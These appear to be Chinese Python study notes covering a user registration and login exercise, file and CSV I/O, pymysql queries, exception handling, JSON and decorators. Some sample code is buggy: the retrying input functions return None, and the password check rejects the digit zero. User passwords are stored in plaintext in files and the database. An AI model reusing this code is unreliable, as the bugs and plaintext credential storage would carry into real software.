总而言之,随着代码量的增大,这种模块级变量(全局变量)对代码的理解就会增大(可能会造成很多的冲突),所以一般不建议使用全局变量

九、实现用户注册与校验(version_01)

1、基本功能需求

版本1的需求
1.综合使用当前所学知识,如列表、字典、字符串、函数等,实现一个基于命令行的用户注册功能。
2.用户注册时必须要输入 用户名、密码、手机号码,用针对用户的输入必须进行验证。
3.用户名的规则:只能是大小写字母或数字,且不能以数字开头,长度为5~12位。
4.密码的规则:密码必须且只能由大小写和数字组成,长度为6~15位。
5.手机号码的规则:按照标准的中国手机号码规则进行校验。
6.如果校验成功,则允许用户注册,注册信息保存于列表或字典中,否则要求用户继续输入

2、功能代码实现

(1)结构设计

以什么样的数据结构来保存用户信息?

{username:"张三",password:"123456",phone:"13845678909"}

如果有多个用户呢?
[{},{},{}]

有很多的校验是否可以用函数来管理?

check_username()
check_passwork()
check_phone()
input_user()
input_password()
input_phone()
……

要有明确的提示信息,有明确的错误信息,代码的运行过程,如何提升用户体验

(2)代码实现
check_username( )
#只能是大小写字母或数字,且不能以数字开头,长度为5~12位
'''
不能以数字开头:username[0]不能为0-9,注意数字类别的统一
长度判断:len()
只能是大小写字母或数字:利用循环的方式检查字符串中的每个字符是否符合要求(先不考虑正则表达式)
返回值:返回True则正确,返回False则错误
'''
def check_username(username):
    if username[0]>='0' and username[0]<='9':
        return False
    if len(username) <5 or len(username) >12:
        return False
    for char in username:
        if ord(char)<48 or (ord(char)>57 and ord(char)<65) or (ord(char)>90 and ord(char)<97) or ord(char)>122:
            return False
    return True

在学习PHP的时候就讲过,测试函数功能可以专门写一个测试函数的函数(方便以后对函数单独的进行优化和维护,比如修改/优化代码后,就不用手动去测试功能是否正常,只需要运行一下这个测试程序即可)

#全自动的单元测试代码,编写一个测试驱动程序
def test_driver(func,expect,*args):
    actual = func(*args) #*args是将元组打散,这个就是为了万一函数参数不止一个可以用元组存储,然后打散后给func传参
    if (actual == expect):
        print("函数:" + func.__name__ + '功能正常')
    else:
        print("函数:" + func.__name__ + '功能不正常')
test_driver(check_username,True,"zheng1234")
test_driver(check_username,False,"1234zheng")
test_driver(check_username,False,"zyf")
test_driver(check_username,False,"zheng_mini")
test_driver(check_username,False,"zheng&mini")
test_driver(check_username,False,"zhengmini$")

输出:

函数:check_username功能正常
函数:check_username功能正常
函数:check_username功能正常
函数:check_username功能正常
函数:check_username功能正常
函数:check_username功能正常

函数运行结果与期望值一致,即判断为功能正常

check_password( )
#密码由大写、小写、数字组成(至少各有一个),长度为6~15位
'''
长度:len()
返回值:返回True代表正确,返回False代表错误
'''
def check_password(password):
    if len(password) < 6 or len(password)>15:
        return False
    lower = 0
    upper = 0
    digit = 0
    for char in password:
        if char >= 'a' and char <= 'z':
            lower += 1
        elif char >= 'A' and char <='Z':
            upper += 1
        elif char >= '1' and char <= '9':
            digit += 1
    add = lower + upper + digit
    if add<len(password):
        return False
    elif lower == 0 or upper == 0 or digit == 0:
        return False
    else:
        return True

测试:

test_driver(check_password,False,"zheng")
test_driver(check_password,False,"123456")
test_driver(check_password,False,"ZHENG")
test_driver(check_password,False,"Z1q")
test_driver(check_password,True,"zheng123ZHENG")
test_driver(check_password,False,"zhneg$$AGD12344")
test_driver(check_password,False,'z123475')

结果:

函数:check_password功能正常
函数:check_password功能正常
函数:check_password功能正常
函数:check_password功能正常
函数:check_password功能正常
函数:check_password功能正常
函数:check_password功能正常

check_phone( )
#手机号码的规则:按照标准的中国手机号码规则进行校验
'''
利用正则表达式去匹配电话号码
'''
def check_phone(phone):
    pattern = "^1[3-9]\d{9}$"
    if re.match(pattern,phone):
        return True
    else:
        return False

测试:

test_driver(check_phone,False,'123475')
test_driver(check_phone,True,'13811111234')
test_driver(check_phone,False,'12811111234')
test_driver(check_phone,False,'13811111ABC')
test_driver(check_phone,False,'123475881288128123')
test_driver(check_phone,False,'03345678273')
test_driver(check_phone,False,'94122239875')

结果:

函数:check_phone功能正常
函数:check_phone功能正常
函数:check_phone功能正常
函数:check_phone功能正常
函数:check_phone功能正常
函数:check_phone功能正常
函数:check_phone功能正常

input_username( )
input_password( )
input_phone( )
from exercise.common import check_username,check_password,check_phone
#有个简便的引入写法(可以一次性引入exercise包中的common模块中的所有函数或者类等)
#from exercise.common import *
#但是不推荐
def input_username():
    username = input("请输入用户名:")
    if check_username(username):
        print('用户名输入正确')
        return username
    else:
        print('用户名输入错误')
        input_username()

def input_password():
    password = input("请输入密码:")
    if check_password(password):
        print('密码输入正确')
        return password
    else:
        print('密码输入错误')
        input_password()

def input_phone():
    phone = input("请输入电话号码:")
    if check_phone(phone):
        print('电话号码输入正确')
        print('用户创建成功')
        return phone
    else:
        print('电话号码输入错误')
        input_phone()

if __name__ == '__main__':
    username =  input_username()
    password = input_password()
    phone = input_phone()
    users = []
    user_information = {'username':username,'password':password,'phone':phone}
    users.append(user_information)
    print(users)

十、Python文件的读写操作

文件的读写,所有的I/O操作主要分为三部:打开资源,操作资源,关闭资源

1、读

(1)read( )

假设要读的文件是test.txt,里面的内容是:

这是一段文字!
哈哈哈哈哈
这又是一段文字
嘿嘿嘿嘿嘿

读取文件内容并输出

#读取文件内容并输出
f = open("./test.txt",mode="r") #以读的方式打开文件
content = f.read()
print(content)
f.close()

输出:

这是一段文字!
哈哈哈哈哈
这又是一段文字
嘿嘿嘿嘿嘿

read()函数还可以指定读取的长度(默认是全部)

f = open("./test.txt",mode='r',encoding='utf-8') #注意读取格式要和被读取的文件的格式对应,否则会报错
content = f.read(10) #表示读10个字符
print(content)
f.close()

输出(注意换行符也是一个字符):

这是一段文字!
哈哈

(2)readline( )
f = open("./test.txt",mode='r',encoding='utf-8')
content_01 = f.readline() #按行读取内容,默认读取光标所在行的所有内容
print(content_01)
f.close()

输出:

这是一段文字!

当文件打开的时候,根据mode的值,来确定刚开始的光标位置,光标位置会随着输入/输出操作移动,只要期间没有关闭文件,那么光标的位置就是随着操作动态变化的

比如:

f = open("./test.txt",mode='r',encoding='utf-8')
content_01 = f.readline() #按行读取内容,默认读取第一行的所有内容
content_02 = f.readline() #读取第一行,仅读取2个字符
print(content_01,end='') #为了更准确的展示,将print默认的换行符给去掉
print(content_02)
f.close()

输出:

这是一段文字!
哈哈哈哈哈

readline也可以加参数

f = open("./test.txt",mode='r',encoding='utf-8')
content_01 = f.readline(3) #按行读取内容,读取光标所在行的3个字符
print(content_01)
f.close()

输出:

这是一

(3)readlines( )
f = open("./test.txt",mode='r',encoding='utf-8')
content = f.readlines() #按行读取内容并且将每一行保存在列表当中
print(content)
f.close()

输出:

['这是一段文字!\n', '哈哈哈哈哈\n', '这又是一段文字\n', '嘿嘿嘿嘿嘿\n', 'How old are you?\n', 'How old are you?\n', 'How old are you?']

事实上,我们也可以通过f.read( )读取所有内容,然后调用split以\n作为分隔符将字符放入到列表当中,达成与f.readlines()相同的效果:

f = open("./test.txt",mode='r',encoding='utf-8')
content = f.read()
article_list = content.split('\n')
print(article_list)
f.close()

输出:

['这是一段文字!', '哈哈哈哈哈', '这又是一段文字', '嘿嘿嘿嘿嘿', 'How old are you?', 'How old are you?', 'How old are you?']

(4)读取图片

图片是一个二进制文件,那么对二进制文件的读操作,要将mode的值设置成rb

with open('/Applications/phpstudy/WWW/image/lbxx.jpg',mode='rb') as f:
    content = f.read()
print(content)

输出:

关于后续的一些关于二进制的操作,我们后面再说

2、写

写入文件内容

f = open("./test.txt",mode="a")
content = "\nHow old are you?"
f.write(content)
f.close()

此时查看test.txt文件里面的内容:

这是一段文字!
哈哈哈哈哈
这又是一段文字
嘿嘿嘿嘿嘿
How old are you?

写入/读取文件的时候可以指定编码格式(默认使用系统定义的格式)

以写的方式打开一个文件,如果这个要打开的文件不存在,就会创建一个

#创建一个新文件,并写入内容,编码格式为utf-8
f = open('./test_02.txt',mode = 'w',encoding="UTF-8")
content = "what a good day it is\nwho are you?\nHow do you do\n"
f.write(content)
f.close()

会产生一个文件test_02.txt,其内容为:

what a good day it is
who are you?
How do you do

3、关于mode这个参数

模式

描述

t

文本模式 (默认)。

x

写模式,新建一个文件,如果该文件已存在则会报错。

b

二进制模式。

+

打开一个文件进行更新(可读可写)。

U

通用换行模式(不推荐)。

r

以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。

rb

以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。这是默认模式。一般用于非文本文件如图片等。

r+

打开一个文件用于读写。文件指针将会放在文件的开头。

rb+

以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。一般用于非文本文件如图片等。

w

打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。

wb

以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。

w+

打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。

wb+

以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。

a

打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。

ab

以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。

a+

打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。

ab+

以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。

4、CSV文件的读写和修改

将CSV文件变成Python的列表+字典的格式:[{ },{ },{ }]

CSV文件(user.csv)的内容:

username,password,expect
zhangsan,123456,login_pass
lisi,456789,login_pass
wangwu,admin@123.com,login_pass

基本代码:

f = open('./user.csv',mode='r')
user_list = f.readlines() #将文章内容按行存入列表
users = [] #设置一个空列表,用于存放字典
for i in range(1,len(user_list)):
    user = user_list[i].strip().split(',') #先去除多余字符(比如\n换行符),然后以逗号为分隔符,拆分成列表
    username = user[0]
    password = user[1]
    expect = user[2]
    user_dict = {} #用于存储用户信息的字典
    user_dict['username'] = username
    user_dict['password'] = password
    user_dict['expect'] = expect
    users.append(user_dict) #将每个用户的信息都添加到列表当中
print(users)

输出:

[{'username': 'zhangsan', 'password': '123456', 'expect': 'login_pass'}, {'username': 'lisi', 'password': '456789', 'expect': 'login_pass'}, {'username': 'wangwu', 'password': 'admin@123.com', 'expect': 'login_pass'}]

优化:

上面我们采取了硬编码的方式(上面代码能成功的前提在于我们知道文件的列的个数和名称,但是如果换一个情况这个代码就不行了,通用性不高)

方法一:
with open('./user.csv',mode='r') as f:
    user_list = f.readlines() #将文章内容按行存入列表
key_list = user_list[0].strip().split(',') #读出文章的列名并放入一个列表当中
users = [] #设置一个空列表,用于存放字典
for i in range(1,len(user_list)):
    user = user_list[i].strip().split(',') #先去除多余字符(比如\n换行符),然后以逗号为分隔符,拆分成列表
    user_dict = {}  # 用于存储用户信息的字典
    #给字典添加用户信息
    for j in range(0,len(key_list)):
        user_dict[key_list[j]] = user[j]
    users.append(user_dict)
print(users)

输出:

[{'username': 'zhangsan', 'password': '123456', 'expect': 'login_pass'}, {'username': 'lisi', 'password': '456789', 'expect': 'login_pass'}, {'username': 'wangwu', 'password': 'admin@123.com', 'expect': 'login_pass'}]

为了验证他的通用性,我们再创建一个列数不一样的CSV文件

username,password
zyf,admin@123.com
fff,user@456.com

更改访问文件,运行后输出:

[{'username': 'zyf', 'password': 'admin@123.com'}, {'username': 'fff', 'password': 'user@456.com'}]

既然具有通用性,那么这段代码就可以分装成函数(可以自己使用也可以让其他用户使用)

#用于读取CSV文件的函数,要输入的参数分别是文件路径、是否含有列名(默认是含有的)
def read_csv(filepass,has_column=True):
    #判断是否含有列名
    if not has_column:
       raise Exception('要输出CSV文件必须要有列名') #主动抛出异常,并且终止程序
    with open(filepass,mode='r') as f:
        user_list = f.readlines()
    key_list = user_list[0].strip().split(',')
    users = []
    for i in range(1,len(user_list)):
        user = user_list[i].strip().split(',')
        user_dict = {}
        for j in range(0,len(key_list)):
            user_dict[key_list[j]] = user[j]
        users.append(user_dict)
    return users

if __name__ == '__main__':
    list_information = read_csv('./user.csv',has_column=True)
    print(list_information)
方法二(使用Python内置模块):

用别人封装的模块,有利有弊

利:效率高

弊:用法固定,不够灵活

先看一下导入这个模块后,的基本使用:

以列表形式输出

import csv
user = []
with open('./user.csv',mode='r') as f:
    csv_dic = csv.reader(f)
    for item in csv_dic:
        print(item)

输出:

['username', 'password', 'expect']
['zhangsan', '123456', 'login_pass']
['lisi', '456789', 'login_pass']
['wangwu', 'admin@123.com', 'login_pass']

以字典形式输出:

import csv
user = []
with open('./user.csv',mode='r') as f:
    csv_dic = csv.DictReader(f)
    for item in csv_dic:
        print(item)

输出:

{'username': 'zhangsan', 'password': '123456', 'expect': 'login_pass'}
{'username': 'lisi', 'password': '456789', 'expect': 'login_pass'}
{'username': 'wangwu', 'password': 'admin@123.com', 'expect': 'login_pass'}

那要达到[{ },{ }]这样的效果只需要:

import csv
user = []
with open('./user.csv',mode='r') as f:
    csv_dic = csv.DictReader(f)
    for item in csv_dic:
        user.append(item)
print(user)

输出:

[{'username': 'zhangsan', 'password': '123456', 'expect': 'login_pass'}, {'username': 'lisi', 'password': '456789', 'expect': 'login_pass'}, {'username': 'wangwu', 'password': 'admin@123.com', 'expect': 'login_pass'}]

在使过程中,明显感觉到,自己只能按照别人的写好的函数/方法去调用(第一次用需要适应),灵活度不够

5、with

使用with自动处理资源关闭的问题

with open('./test.txt',mode='r') as f:
    content = f.read()
#当with下的内容执行完成的时候,文件就关闭了
print(content)

输出:

这是一段文字!
哈哈哈哈哈
这又是一段文字
嘿嘿嘿嘿嘿

6、文件读取的高级用法

需要使用到:

with open('./test.txt',mode='r') as f:
       f.tell() #文件当前指针的位置
       f.seek() #将文件指针指向什么位置

十一、实现用户注册与校验(version_02)

完善了具体的功能(注册,登录,修改密码,退出系统)

具体代码部分:

common.py

#只能是大小写字母或数字,且不能以数字开头,长度为5~12位
'''
不能以数字开头:username[0]不能为0-9,注意数字类别的统一
长度判断:len()
只能是大小写字母或数字:利用循环的方式检查字符串中的每个字符是否符合要求(先不考虑正则表达式)
返回值:返回True则正确,返回False则错误
'''
import re


def check_username(username):
    if username[0]>='0' and username[0]<='9':
        return False
    if len(username) <5 or len(username) >12:
        return False
    for char in username:
        if ord(char)<48 or (ord(char)>57 and ord(char)<65) or (ord(char)>90 and ord(char)<97) or ord(char)>122:
            return False
    return True

#密码由大写、小写、数字组成(至少各有一个),长度为6~15位
'''
长度:len()
返回值:返回True代表正确,返回False代表错误
'''
def check_password(password):
    if len(password) < 6 or len(password)>15:
        return False
    lower = 0
    upper = 0
    digit = 0
    for char in password:
        if char >= 'a' and char <= 'z':
            lower += 1
        elif char >= 'A' and char <='Z':
            upper += 1
        elif char >= '1' and char <= '9':
            digit += 1
    add = lower + upper + digit
    if add<len(password):
        return False
    elif lower == 0 or upper == 0 or digit == 0:
        return False
    else:
        return True


#手机号码的规则:按照标准的中国手机号码规则进行校验
'''
利用正则表达式去匹配电话号码
'''
def check_phone(phone):
    pattern = "^1[3-9]\d{9}$"
    if re.match(pattern,phone):
        return True
    else:
        return False



#全自动的单元测试代码,编写一个测试驱动程序
def test_driver(func,expect,*args):
    actual = func(*args) #*args是将元组打散,这个就是为了万一函数参数不止一个可以用元组存储,然后打散后给func传参
    if (actual == expect):
        print("函数:" + func.__name__ + '功能正常')
    else:
        print("函数:" + func.__name__ + '功能不正常')

#用于读取CSV文件的函数,要输入的参数分别是文件路径、是否含有列名(默认是含有的)
def read_csv(filepass,has_column=True):
    if not has_column:
        raise Exception('要输出CSV文件必须要有列名')
    with open(filepass,mode='r') as f:
        user_list = f.readlines() #将文章内容按行存入列表
    key_list = user_list[0].strip().split(',')
    users = [] #设置一个空列表,用于存放字典
    for i in range(1,len(user_list)):
        user = user_list[i].strip().split(',')  # 以逗号为分隔符,拆分成列表
        user_dict = {}  # 用于存储用户信息的字典
        for j in range(0,len(key_list)):
            user_dict[key_list[j]] = user[j]
        users.append(user_dict)
    return users

#读取CSV文件,并判断用户名是否存在
def check_user_exist(username):
    user_list = read_csv('./user.csv',has_column=True)
    for item in user_list:
        if item['username'] == username:
            return True
    return False

#读取CSV文件,如果用户存在就返回用户信息,如果不存在那就返回None
def get_user_exist(username):
    user_list = read_csv('./user.csv',has_column=True)
    for item in user_list:
        if item['username'] == username:
            return item
    return None

def input_user_into_file(username,password,phone):
    with open('./user.csv',mode='a') as f:
        f.write(f"{username},{password},{phone}\n")

#修改CSV文件中的某一行某一列
#由于在Python的文件I/O中没有更新这一说,那我们的思路就变成了将更新后的数据覆盖原先的文件内容
#将原先的CSV数据读到Python中形成[{},{}……],然后再覆盖写入CSV
def new_password_input(username,password):
    csv_list = read_csv('./user.csv')
    for user in csv_list:
        if user['username'] == username:
            the_index = csv_list.index(user)
            break
    with open('./user.csv', mode='w') as f:
        f.write("username,password,phone\n")
    for i in range(0,len(csv_list)):
        if i == the_index:
            with open('./user.csv', mode='a') as f:
                f.write(f"{csv_list[i]['username']},{password},{csv_list[i]['phone']}\n")
        else:
            with open('./user.csv', mode='a') as f:
                f.write(f"{csv_list[i]['username']},{csv_list[i]['password']},{csv_list[i]['phone']}\n")

Version_02.py

from exercise.common import check_username, check_password, check_phone, check_user_exist, get_user_exist, \
    input_user_into_file, read_csv,new_password_input


def input_username():
    username = input("请输入用户名:")
    if check_username(username):
        return username
    else:
        print('用户名不合法')
        input_username()

def input_password():
    password = input("请输入密码:")
    if check_password(password):
        return password
    else:
        print('密码包含非法字符')
        input_password()

def input_phone():
    phone = input("请输入电话号码:")
    if check_phone(phone):
        print('电话号码输入正确')
        print('用户创建成功')
        return phone
    else:
        print('电话号码输入错误')
        input_phone()

#注册操作
def do_reg():
    username = input_username()
    while check_user_exist(username):
        print('您输入的用户名已经存在,请重新输入')
        username = input_username()
    password = input_password()
    phone = input_phone()
    input_user_into_file(username,password,phone)
    return True

#登录操作
def do_login():
    username = input_username()
    user_info = get_user_exist(username)
    if user_info == None:
        print('用户还未注册,请先注册用户')
        return False
    password = input_password()
    while user_info['password'] != password:
        print('密码错误,请重新输入密码')
        password = input_password()
    return True

 
#修改密码操作
def change_password():
    username = input("请输入用户名:")
    is_exist = get_user_exist(username)
    while is_exist == None:
        print('请输入有效用户')
        username = input("请输入用户名:")
        is_exist = get_user_exist(username)
    password = input('请输入原先的密码:')
    while is_exist['password'] != password:
        password = input('密码错误,请再次输入:')
    password = input('请输入新密码:')
    while not(check_password(password)):
        password = input('密码格式非法,请重新输入:')
    password_check = input('请重新输入来确认你的新密码:')
    while password_check != password:
        password_check = input('密码不一致,请重新输入:')
    user_list = read_csv('./user.csv')
    for user in user_list:
        if(user['username'] == username):
            new_password_input(username,password)
            break
    print('修改成功')
 
 

#功能选择界面
def draw_menu():
    while(True):
        print('''                                                  欢迎来到本系统!
您想要执行的操作是:
1、登陆 2、注册 3、退出系统 4、修改用户密码''')
        user_input = input('请选择服务内容(1,2,3,4):')
        if user_input == '3':
            print('已退出系统')
            exit(0)
        elif user_input == '1':
            is_login = do_login()
            if is_login:
                print("欢迎!")
                break
        elif user_input == '2':
            is_reg = do_reg()
            if is_reg:
                print('注册成功')
                continue
        elif user_input == '4':
            change_password()
        else:
            print('请输入正确的服务序号!')


if __name__ == '__main__':
    draw_menu()

具体的功能展示在Pycharm中自行测试

补充知识点:

通常情况下,若利用文本文件来保存数据,有三种数据格式:
1CSV文件
2XML文件
3JSON文件

十二、数据库

1、基本步骤

针对数据库的操作,一共分三步:

1、建立与数据库的连接
2、执行SQL语句
3、关闭数据库连接

2、Python为什么能操作数据库?

Python发送能够与数据库直接连接的数据包,并获取数据库服务器的响应结果

是一种典型的基于TCP/IP的通信过程,要求必须要满足数据库服务器的数据包规则

在Python中,如果要操控MySQL,需要依赖于第三方库:pymysql

pip install pymysql

结合基本操作,来查看一下流量

import pymysql

#建立连接
conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')

#操作数据库
#先定义一个游标对象(默认情况下,游标对象返回的结果是元组)
cursor = conn.cursor()

#执行sql语句
sql = 'select username,password,role from users'
cursor.execute(sql)

#获取结果集
result = cursor.fetchall()
print(result)

#关闭数据库连接
conn.close()

由于数据库在本地,python也在本地运行,也就是本地访问本地(在下图必要的地方我会表明谁是mysql服务器)

上面代码的执行结果:

(('zyf', 'zyf@123.com', 'admin'), ('fff', 'feng@456.com', 'student'), ('xiaoxiaof', 'xiaofeng123', 'teacher'))

可以发现是一个二维元组

但我们通常使用的格式是列表里面套字典这样的格式(方便Python内操作读出来的数据),代码可读性会更强维护也会更加方便

方法:

import pymysql
from pymysql.cursors import DictCursor

conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')

cursor = conn.cursor(DictCursor) #将游标的返回结果改成字典类型
sql = 'select username,password,role from users'
cursor.execute(sql)
result = cursor.fetchall() #由于查询结果可能有多条,他就会用列表来存储这些字典

print(result)

conn.close()

输出:

[{'username': 'zyf', 'password': 'zyf@123.com', 'role': 'admin'}, {'username': 'fff', 'password': 'feng@456.com', 'role': 'student'}, {'username': 'xiaoxiaof', 'password': 'xiaofeng123', 'role': 'teacher'}]

3、更新操作

更新(增、删、改)mysql数据,必须确认提交,有两种方式:

方法一:显示提交

import pymysql

conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')

cursor = conn.cursor()
sql = "update users set password='Test123' where username='zyf'"
cursor.execute(sql)
conn.commit() #显式提交,与之相反的操作---回滚是conn.rollback() 即撤销这次提交
conn.close()

方法二:在连接的时候设置autocommit参数

我们可以看到,connect操作中的autocommit参数默认是False,我们只要连接的时候将参数值设置为True即可自动提交

import pymysql

conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8',autocommit=True)

cursor = conn.cursor()
sql = "update users set password='Another_test123' where username='zyf'"
cursor.execute(sql)
conn.close()

4、封装成函数

跟之前学习PHP操作数据库一样,我们同样可以通过将Python使用数据库的操作封装到函数里面,来避免重复的操作。

有了用python操作数据库的基础,我们就可以实现《实现用户注册与校验(version_03)》,也就不再用文件来存储用户信息,实际上是变得更加方便了。

十三、异常处理

在连接到MySQL数据库的以及后续的使用中,如果不能有效地处理异常,则会出现两个问题:

问题一:对用户不太友好(用户看不懂报错信息,不知道哪里出错了)

问题二:从安全层面讲,会泄露敏感信息

所以在真实的生产环境中,程序必须有效地处理和控制异常,按照既定的流程进行

1、异常

首先,明确一个点:

当程序在某段代码发生异常的时候,那么这段代码后面的部分就不会继续执行,但其之前的代码是可以正常执行的

比如:

print('before')
a = 1/0 #除数不能为0,在此处报错
print('after')

输出信息:

before
Traceback (most recent call last):
  File "/Users/username/PythonSecurity/basic/misc.py", line 12, in <module>
    a = 1/0
ZeroDivisionError: division by zero

可以看到异常发生前的“before”正常输出,但是异常的发生后的“after”就没有执行了

2、最基本的处理结构

try……except……

import pymysql

try:
    conn = pymysql.connect(host='127.0.0.1',user='root',password='thisiswrongpassword',database='book',charset='utf8')
    print('数据库连接成功')
    conn.close()
except:
    print('数据库连接失败')

当try部分出现异常的时候,就会执行except中的内容,而且也不会出现异常报错信息

输出:

数据库连接失败

3、更完整的异常处理结构

try……except……finally……

import pymysql

try:
    conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')
    cursor = conn.cursor()
    cursor.execute('select * from user_test') #数据库中没有user_test这张表,在这发生异常
    result = cursor.fetchall()
    print(result)
except:
    print('数据库发生错误')
finally:
    print('无论是否发生异常,我都在!')
    conn.close()

finally后的代码,无论是否发生异常,都会执行

输出(异常的时候):

数据库发生错误
无论是否发生异常,我都在!

输出(我们将sql语句改对,看一下无异常的情况):

(('zyf', 'Another_test123', 'admin'), ('fff', 'feng@456.com', 'student'), ('xiaoxiaof', 'xiaofeng123', 'teacher'))
无论是否发生异常,我都在!

4、针对不同的异常,展现出不同的信息

数据库连接异常,会报:pymysql.err.OperationalError

除数异常,会报:ZeroDivisionError

sql语句执行异常,会报:pymysql.err.ProgrammingError

……

except后接上报错类型,可以进行更精细的操作

import pymysql

try:
    conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')
    cursor = conn.cursor()
    cursor.execute('select * from users')
    a= 1/0
    result = cursor.fetchall()
    print(result)
except pymysql.err.OperationalError as e:
    print('数据库连接发生错误')
except pymysql.err.ProgrammingError as e:
    print('SQL语句执行错误!')
#所有内置的非系统退出类异常都派生自Exception。 所有用户自定义异常也应当没打算自Exception
#当然下面这句代码等效于except:
except Exception as e:
    print('数据库出现其他异常!')
finally:
    print('无论是否发生异常,我都在!')
    conn.close()

输出(上方执行sql语句的时候会报错,因为没有这张表):

SQL语句执行错误!
无论是否发生异常,我都在!

让数据连接失败,查看输出:

数据库连接发生错误
无论是否发生异常,我都在!

让其余代码正常,增加上除数为0的一行,查看输出:

数据库出现其他异常!
无论是否发生异常,我都在!

as e,e就是异常的具体内容

我们知道一个异常,包含异常类型和异常具体内容

比如:
ZeroDivisionError: division by zero
类型:内容

修改上述代码(只写出修改的部分):

except Exception as e:
    print('输出库出现其他异常!')
    print(e)

那么输出:

输出库出现其他异常!
division by zero     <–这块其实就是异常的具体内容,也就是print(e)的返回值
无论是否发生异常,我都在!

5、抛出异常

使用raise Exception( )主动抛出异常信息,但是可以添加额外的报错信息提示内容

比如:

try:
    a= 1/0
except:
    raise Exception('除数不能为0')

输出:

ZeroDivisionError: division by zero

During handling of the above exception, another exception occurred:

Exception: 除数不能为0

可以发现,输出了除数为0的报错信息,然后提示我们“在处理上方异常的时候,又有一个异常发生了”,也就是我们用户抛出的异常(Exception: 除数不能为0)

6、注意

上面演示部分都仅仅只是重定义了异常报错信息

其实我们可以在发生异常的时候做更多的事情,只要在excpet部分写上要实现的内容即可

十四、JSON序列化与反序列化

1、前引

在Python中列表里面嵌套着字典,这样的格式和JSON很像,但是他的数据类型呢?

import pymysql
from pymysql.cursors import DictCursor

conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')
cursor = conn.cursor(DictCursor)
sql = 'select username,password from users'
cursor.execute(sql)
result = cursor.fetchall()
print(result)
print(type(result))

输出:

[{'username': 'zyf', 'password': 'Another_test123'}, {'username': 'fff', 'password': 'feng@456.com'}, {'username': 'xiaoxiaof', 'password': 'xiaofeng123'}]
<class 'list'>

可以看到,虽然格一致,但是他的类型还是Python中的列表(list)

在通信的过程中,通用的类型是字符串,那么将对象转换成字符串,就要用到序列化(结合之前学的PHP这些知识都是通用的)

2、JSON序列化

import pymysql,json
from pymysql.cursors import DictCursor

conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')
cursor = conn.cursor(DictCursor)
sql = 'select username,password from users'
cursor.execute(sql)
result = cursor.fetchall()
print(result)
print(type(result))

#将Python对象序列化成字符串
jsonstr = json.dumps(result)
print(jsonstr)
print(type(jsonstr))

输出:

[{'username': 'zyf', 'password': 'Another_test123'}, {'username': 'fff', 'password': 'feng@456.com'}, {'username': 'xiaoxiaof', 'password': 'xiaofeng123'}]
<class 'list'>
[{"username": "zyf", "password": "Another_test123"}, {"username": "fff", "password": "feng@456.com"}, {"username": "xiaoxiaof", "password": "xiaofeng123"}]
<class 'str'>

可以看到,json.dumps将list类型的对象转换成了符合相应json格式的字符串(这一过程其实没像php那么明显,因为php中的索引数组/关联数组的输出格式和JSON大有不同,所以在json序列化的时候,明显能感受到变化)(python这里虽然输出内容没有发生本质上的变化(因为本来格式就相仿),但是其实是经过转化的)

输出的内容基本没有发生变化,但是还是会有细微的差别,比如单引号变成了双引号

当然,有序列化,也会有反序列化

3、JSON反序列化

import pymysql,json

#将json格式的字符串转换成python对象
jsonstr = '[{"username": "zyf", "password": "Another_test123"}, {"username": "fff", "password": "feng@456.com"}, {"username": "xiaoxiaof", "password": "xiaofeng123"}]'

pyobj = json.loads(jsonstr)
print(type(pyobj))
print(pyobj[0]['username'])

输出:

<class 'list'>
zyf

注意,在JSON序列化的时候我提到过单引号变成双引号这个细节,为什么呢?

JSON中,字符串必须使用双引号包裹,而不能使用单引号。这是因为JSON的标准规定了这种格式,使用单引号会导致解析错误。
Python中单引号双引号都支持

所以,我们如果要正确的反序列化,在写要被反序列化的字符串的时候,要额外注意格式

4、其他用法

除了dumps和loads之外,还有dump和load,这两个操作是和文件相关的

举个例子(将序列化后的结果放入指定文件中)

import pymysql,json
from pymysql.cursors import DictCursor

conn = pymysql.connect(host='127.0.0.1',user='root',password='123456',database='book',charset='utf8')
cursor = conn.cursor(DictCursor)
sql = 'select username,password from users'
cursor.execute(sql)
result = cursor.fetchall()

#将JSON序列化后的信息放入文件中
with open('./json_information.txt',mode='w') as f:
    json.dump(result,f)

查看文件:

十五、装饰器

1、什么是装饰器?

 装饰器是给现有的函数/方法/类增添新的小功能,可以对原函数/方法/类进行功能扩展,而且还不需要修改原函数/方法/类的内容

2、如何定义装饰器?

形式上,是一个函数里面又定义了一个函数(这个在函数内部被定义的函数称为闭包)

装饰器自带一个参数,func,用于获取被装饰函数的地址

闭包在运行结束后需要返回自己的函数名(也就是返回自己的地址)

例子:

import time
def ex_time(func):
    def inner():
        start = time.time() #记录执行这行代码的时候的时间
        func() #执行被修饰的函数
        end = time.time() #记录执行这行代码的时候的时间
        print(end-start)
    return inner

#若要使用装饰器,则在函数/方法/类前面加上“@装饰器名”
@ex_time
def test():
    result = 999
    for i in range(1000):
        result = result + i - result *15
    print(result)
